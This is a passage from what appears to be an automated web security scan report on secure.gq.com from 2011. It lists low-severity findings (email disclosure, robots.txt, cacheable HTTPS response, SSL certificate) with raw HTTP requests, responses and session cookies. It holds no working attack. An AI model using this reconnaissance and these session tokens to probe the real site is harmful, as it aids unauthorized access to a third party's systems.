Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D5%7C1320346890949%3B%20s_campaign%3D%7C1320346893019%3B%20sinvisit_m%3Dtrue%7C1320346893023%3B%20s_nr%3D1320345093026%7C1322937093026%3B%20s_eVar10%3D%7C1320346893031%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346893035%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346893062%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346893063%3B%20gpv_p5%3Dno%2520value%7C1320346893065%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Flogin%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%2525253Freturnto%2525253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525253Fqt%2525253Ddismax%25252526sort%2525253Dscore_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:42 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40529


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.9. https://secure.gq.com/user/login  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/login

Issue detail

The following email address was disclosed in the response:

Request

GET /user/login HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:11 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

6.10. https://secure.gq.com/user/registration  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The following email addresses were disclosed in the response:

Request

GET /user/registration?returnto= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D6%7C1320346894887%3B%20s_campaign%3D%7C1320346917900%3B%20sinvisit_m%3Dtrue%7C1320346917903%3B%20s_nr%3D1320345117907%7C1322937117907%3B%20s_eVar10%3D%7C1320346917919%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346917924%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346917956%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346917958%3B%20gpv_p5%3Dno%2520value%7C1320346917960%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fregistration%2525253Freturnto%2525253D_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:32:07 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 83026


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<p class="tip">Valid format: yourname@yourisp.com</p>
...[SNIP]...
<a href="mailto:permissions@condenast.com">
...[SNIP]...

7. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/login

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: secure.gq.com

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:14 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:50 GMT
ETag: "b1e9-51-4b032e8f3fc80"
Accept-Ranges: bytes
Content-Length: 81
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

#DisAllow Web Robots from spidering entire origin site
User-agent: *
Disallow: /

8. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /nocount/blankiframe.html

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /nocount/blankiframe.html HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 04 Nov 2011 05:47:09 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:50 GMT
ETag: "6b9a7-1d5-4b032e8f3fc80"
Accept-Ranges: bytes
Content-Length: 469
Connection: close
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...

9. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  secure.gq.com
Issued by:  Entrust Certification Authority - L1C
Valid from:  Tue Apr 12 14:36:56 CDT 2011
Valid to:  Sun Apr 13 05:45:04 CDT 2014

Certificate chain #1

Issued to:  Entrust Certification Authority - L1C
Issued by:  Entrust.net Certification Authority (2048)
Valid from:  Thu Dec 10 14:43:54 CST 2009
Valid to:  Tue Dec 10 15:13:54 CST 2019

Certificate chain #2

Issued to:  Entrust.net Certification Authority (2048)
Issued by:  Entrust.net Certification Authority (2048)
Valid from:  Fri Dec 24 11:50:51 CST 1999
Valid to:  Tue Jul 24 09:15:12 CDT 2029

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Fri Nov 04 08:43:25 CDT 2011.